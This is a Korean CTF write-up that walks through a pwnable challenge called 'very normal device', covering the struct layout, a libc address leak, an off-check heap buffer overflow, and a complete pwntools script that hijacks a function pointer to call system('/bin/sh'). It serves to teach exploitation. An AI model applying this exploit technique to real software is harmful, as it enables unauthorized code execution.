[30th hcamp] very normal device

Merry Berry·2025년 2월 23일
1

Pwnable&Reversing

목록 보기
9/9

제 30회 해킹캠프 CTF에 출제된 pwnable 문제인 very normal device를 풀이한다.

1. 문제 소개 및 보안 기법

장치 자료구조를 관리하는 프로그램으로, 자료구조를 생성한 후 장치 이름과 데이터를 저장할 수 있다. 또한 장치들은 링크드 리스트로 관리된다.

보안 기법은 모두 걸려있다. 특히 Full RELRO이므로 GOT Overwrite는 어렵다. 그리고 내부에서 malloc(), free()를 지속적으로 호출한다는 점, 자료구조 내에서 함수 포인터를 사용한다는 점을 보아 힙 익스로 함수 포인터를 덮는 것을 짐작할 수 있다.

2. 자료구조의 생성

장치 자료구조 생성은 1번 메뉴로 진행한다. 프로그램에서는 initialize_device 함수를 호출하며, 해당 함수 내에서는 0x48byte만큼의 공간을 동적 할당 및 0으로 초기화한 후 필드를 설정한다. 이때 dev_chk, free_ptr 함수 포인터가 각각의 함수의 주소로 설정된다. 그리고 data_remain_sz는 0x48로 초기화된다.

struct dev {
struct dev *next;     // 0x0
_DWORD uid;           // 0x8
_DWORD pad0;          // 0xc
char name[0x10];      // 0x10
_QWORD free_ptr;      // 0x20
_QWORD dev_chk;       // 0x28
_DWORD ref_cnt;       // 0x30
_DWORD data_cur_off;  // 0x34
_DWORD data_remain_sz;// 0x38
_DWORD pad1;          // 0x3c
_QWORD data_ptr;      // 0x40
};

코드를 분석하면 자료구조가 위와 같이 구성되며, device라는 전역 변수가 링크드 리스트의 head임을 파악할 수 있다.

3. Libc leak

이 문제에서 libc 주소를 leak하는 방법은 두 가지가 있다.

3.1. printf()

해당 프로그램에는 자료구조의 정보를 출력하는 함수가 존재한다. 이 함수에서는 자료구조의 각 필드를 출력하는데, 이때 name 필드를 유심히 보자.

자료구조 생성 과정에서 name 필드는 최대 0x10byte를 입력받을 수 있다. 이때 앞에서 소개한 자료구조에 따르면, name 필드 이후 free_ptr 포인터가 존재한다.

만약 name 필드를 0x10byte만큼 null이 아닌 값으로 채운다면, printf() 호출 시 free() 함수의 주소를 leak할 수 있다.

3.2. Use After Free

이 문제에는 장치 자료구조와 동일한 크기(0x48byte)의 영역을 할당한 후 데이터를 작성하는 기능이 포함되어 있다. 이때 할당 후 별도의 초기화를 하지 않으므로 UAF가 발생한다.

그리고 그 데이터를 출력할 수 있는 기능 또한 존재한다.

순서는 위와 같다. 먼저 장치 자료구조를 할당하면 free_ptr 필드에 free() 함수 주소가 저장된다. 그리고 이 자료구조를 할당 해제한 후(7번 메뉴), 데이터 블록을 할당해 free_ptr 필드 직전까지 더미 바이트를 채운다. 그리고 데이터 블록 출력 기능을 통해 free() 함수의 주소를 leak한다.

사실 이 취약점은 free() 뿐만 아니라 dev_chk()함수의 주소도 leak할 수 있으므로 PIE bypass가 가능하지만, 익스에 도움이 되지 않을 뿐더러 과정도 번거로우므로, printf() 함수를 이용한 leak을 하는 방법을 선택했다.

4. RCE

4.1. Heap BOF

데이터를 입력할 때 먼저 입력 크기 data_size를 지정한다. 최대 71byte까지 가능하며, 크기를 인자로 register_device_data()를 호출한다.

register_device_data()에서는 입력받은 data_sizedata_remain_sz 필드와 동일하다면 BOF를 탐지한다. 그리고 데이터는 data_ptr + data_cur_off 필드부터 작성되며, 작성 후 쓰인 크기만큼 data_cur_off는 증가하고 data_remain_sz는 감소한다. 즉 data_remain_sz는 데이터 블록의 가용 크기임을 알 수 있다.

이때 data_remain_szdata_size를 비교하는 로직을 확인하면, data_remain_sz >= data_size가 아닌, data_remain_sz == data_size로 비교한다. 따라서 data_sizedata_remain_sz보다 커도 BOF로 탐지되지 않아 최종적으로 Heap Buffer Overflow가 가능하다.

4.2. Exploit

RCE를 트리거할 때 4번 메뉴를 사용한다. 이 메뉴는 uid로 지정한 장치 자료구조에서 data_ptr 필드를 인자로 dev_chk 함수 포인터를 호출한다. 이때 data_ptr"/bin/sh"로, dev_chksystem()으로 조작한다면 system("/bin/sh")를 호출할 수 있다.

아래의 과정을 거쳐 위와 같이 힙 익스를 수행한다.
1) 데이터 블록 할당한 후 71byte만큼 더미 바이트 저장

한번에 쓸 수 있는 최대 크기가 71byte

2) 장치 자료구조 할당
3) 데이터 블록에 57byte만큼 바이트 저장

9byte로 청크 헤더 끝까지 덮기
48byte로 uid 필드와 dev_chk 필드를 각각 20, system()으로 저장

4) 데이터 블록에 24byte만큼 더미 바이트 저장

data_ptr 필드를 "/bin/sh" 문자열 주소 저장

5) 장치 uid 20의 데이터 출력 메뉴(4) 호출

dev_chk(data_ptr) => system("/bin/sh")

5. Exploit Code

"""
struct dev {
struct dev *next;     // 0x0
_DWORD uid;           // 0x8
_DWORD pad0;          // 0xc
char name[0x10];      // 0x10
_QWORD free_ptr;      // 0x20
_QWORD dev_chk;       // 0x28
_DWORD ref_cnt;       // 0x30
_DWORD data_cur_off;  // 0x34
_DWORD data_remain_sz;// 0x38
_DWORD pad1;          // 0x3c
_QWORD data_ptr;      // 0x40
};
"""

from pwn import *

p = process('./very_normal_device_srv')
libc = ELF('./libc.so.6')

def select_menu(menu, dev_uid):
    p.sendlineafter(b'Close device\n', str(menu).encode())
    p.sendlineafter(b'your device\n', str(dev_uid).encode())

# libc leak
# create dev1
select_menu(1, 10)
p.sendafter(b'name\n', b'A'*0x10)

# show info
select_menu(6, 10)
p.recvuntil(b'A'*0x10)
free = p.recvline()[:-1]
free = u64(free.ljust(8, b'\x00'))
libc_base = free - libc.symbols['free']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x1cb42f
print('libc base:', hex(libc_base))
print('system:', hex(system))
print('/bin/sh:', hex(binsh))

# heap overflow
# create data1 for dev1
# heap memory: [hdr|dev1][hdr|data1]
select_menu(3, 10)
p.sendlineafter(b'device data\n', b'71')
p.sendafter(b'Submit the data\n', b'A'*71)

# create dev2
# heap memory: [hdr|dev1][hdr|data1][hdr|dev2]
select_menu(1, 20)
p.sendafter(b'name\n', b'B'*0x10)

# overflow the data1
payload = b'A' # data1 last byte
payload += b'B'*0x8 # dev2 chunk header overwrite
payload += p64(0) + p32(20) + p32(0) # next, uid, pad0
payload += b'C'*0x10 # name
payload += p64(free) + p64(system) # free_ptr, dev_chk

select_menu(3, 10)
p.sendlineafter(b'device data\n', b'57') # len(payload)
p.sendafter(b'Submit the data\n', payload)

#overwrite the data_ptr to "/bin/sh" address
payload = p32(0) + p32(0)*3 # ref_cnt, data_cur_off, data_remain_sz, pad1
payload += p64(binsh) # data_ptr

select_menu(3, 10)
p.sendlineafter(b'device data\n', b'24') # len(payload)
p.sendafter(b'Submit the data\n', payload)

# trigger RCE
select_menu(4, 20)
p.interactive()

0개의 댓글